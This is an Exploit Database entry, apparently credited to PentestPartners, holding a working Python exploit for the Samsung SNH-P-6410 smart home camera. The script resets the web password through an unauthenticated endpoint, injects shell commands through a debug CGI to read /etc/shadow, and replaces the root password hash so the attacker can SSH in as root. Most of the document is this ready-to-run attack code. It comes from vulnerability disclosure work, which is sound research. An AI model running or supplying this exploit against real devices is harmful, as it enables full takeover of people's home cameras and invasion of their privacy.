Samsung Smart Home Camera SNH-P-6410 – Command Injection

• Exploit Database
• 48 阅读

• 作者： PentestPartners
  日期： 2016-08-14
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/40235/

• # E-DB Note: source ~ https://www.pentestpartners.com/blog/samsungs-smart-camera-a-tale-of-iot-network-security/
  
  import urllib, urllib2, crypt, time
  
  # New password for web interface
  web_password	= 'admin'
  # New password for root
  root_password	= 'root'
  # IP of the camera
  ip 		= '192.168.12.61'
  
  # These are all for the Smartthings bundled camera
  realm = 'iPolis'
  web_username = 'admin'
  base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'
  
  
  # Take a command and use command injection to run it on the device
  def run_command(command):
  	# Convert a normal command into one using bash brace expansion
  	# Can't send spaces to debugcgi as it doesn't unescape
  	command_brace = '{' + ','.join(command.split(' ')) + '}'
  	command_url = base_url + command_brace
  
  	# HTTP digest auth for urllib2
  	authhandler = urllib2.HTTPDigestAuthHandler()
  	authhandler.add_password(realm, command_url, web_username, web_password)
  	opener = urllib2.build_opener(authhandler)
  	urllib2.install_opener(opener)
  
  	return urllib2.urlopen(command_url)
  
  # Step 1 - change the web password using the unauthed vuln found by zenofex
  data = urllib.urlencode({ 'data' : 'NEW;' + web_password })
  urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)
  
  # Need to sleep or the password isn't changed
  time.sleep(1)
  
  # Step 2 - find the current root password hash
  shadow = run_command('cat /etc/shadow')
  
  for line in shadow:
  	if line.startswith('root:'):
  		current_hash = line.split(':')[1]
  
  # Crypt the new password
  new_hash = crypt.crypt(root_password, '00')
  
  # Step 3 - Use sed to search and replace the old for new hash in the passwd
  # This is done because the command injection doesn't allow a lot of different URL encoded chars
  run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')
  
  # Step 4 - check that the password has changed
  shadow = run_command('cat /etc/shadow')
  
  for line in shadow:
  	if line.startswith('root:'):
  		current_hash = line.split(':')[1]
  
  if current_hash <> new_hash:
  	print 'Error! - password not changed'
  
  # Step 5 - ssh to port 1022 with new root password!